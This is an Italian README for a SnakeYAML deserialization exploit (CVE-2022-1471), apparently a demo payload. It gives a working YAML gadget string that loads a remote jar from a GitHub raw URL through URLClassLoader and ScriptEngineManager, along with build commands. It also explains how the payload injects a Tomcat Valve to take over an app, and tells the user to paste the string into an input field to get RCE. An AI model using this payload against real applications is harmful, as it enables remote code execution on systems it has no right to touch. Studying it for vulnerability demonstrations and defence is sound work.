yaml-payload

Un payload di sfruttamento della deserializzazione SnakeYAML per CVE-2022-1471, adattato da artsploit/yaml-payload (originariamente basato su mbechler/marshalsec).

Cosa fa

Quando viene caricato tramite l'insicuro Yaml.load() di SnakeYAML, questo payload prende il controllo dell'applicazione in esecuzione e la sostituisce con una pagina "You've Been PWNED":

1. Inietta una Tomcat Valve nell'app Spring Boot in esecuzione tramite reflection, dirottando la porta 8080 esistente — lo stesso URL (incluso qualsiasi tunnel ngrok) ora serve la pagina PWNED
2. Reindirizza automaticamente il browser — la risposta POST invia un redirect 302, quindi il browser carica immediatamente la pagina PWNED senza un refresh manuale
3. Apre il browser automaticamente sull'URL corretto (URL pubblico ngrok se disponibile, altrimenti localhost:8080)
4. Stampa le prove dell'exploit nella console/nei log CI

Se l'iniezione della Tomcat Valve non è disponibile (ad es. app non Spring), ripiega su un server HTTP standalone sulla porta 9999 e crea automaticamente un tunnel ngrok se ngrok è in esecuzione.

Funziona sia localmente su macOS sia nelle pipeline CI/CD (ad es. GitHub Actions su Ubuntu).

Come funziona la catena dell'exploit

Il payload SnakeYAML attiva ScriptEngineManager tramite lo SPI Java (Service Provider Interface):

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]

1. SnakeYAML istanzia java.net.URL che punta a yaml-payload.jar di questo repo
2. Lo avvolge in un URLClassLoader per caricare classi remote
3. ScriptEngineManager rileva e carica AwesomeScriptEngineFactory tramite META-INF/services/javax.script.ScriptEngineFactory
4. Il costruttore della factory inietta una Valve nella pipeline Tomcat in esecuzione, sostituendo ogni risposta successiva su / con la pagina PWNED

Compilazione

Richiede JDK 17+:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Utilizzo

Usato come payload dell'exploit nel progetto maven-demo. Incolla la stringa del payload nel campo nome dell'app per attivare la RCE. La pagina dell'app verrà sostituita con la pagina PWNED alla richiesta successiva. Consulta il README di quel repo per le istruzioni complete della demo.